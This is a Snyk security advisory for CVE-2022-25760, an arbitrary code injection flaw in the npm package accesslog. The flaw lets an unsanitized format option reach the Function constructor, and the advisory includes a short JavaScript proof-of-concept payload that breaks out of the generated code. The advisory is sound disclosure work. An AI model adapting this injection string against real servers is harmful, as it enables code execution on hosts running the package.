Arbitrary Code Injection Affecting accesslog package, versions *
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Integrity
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.68% (80th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-ACCESSLOG-2312099
- published 27 Feb 2022
- disclosed 8 Dec 2021
- credit OmniTaint
Introduced: 8 Dec 2021
CVE-2022-25760 Open this link in a new tabHow to fix?
There is no fixed version for accesslog.
Overview
accesslog is a simple common/combined access log middleware
Affected versions of this package are vulnerable to Arbitrary Code Injection due to the usage of the Function constructor without input sanitization.
If (attacker-controlled) user input is given to the format option of the package's exported constructor function, it is possible for an attacker to execute arbitrary JavaScript code on the host that this package is being run on.
PoC
var accesslog = require('accesslog');
var handler = accesslog({
format: `\\\" + console.log('XSS');//`,
});
var req = {};
var res = {
end: function() {},
};
handler(req, res, function() {});
res.end();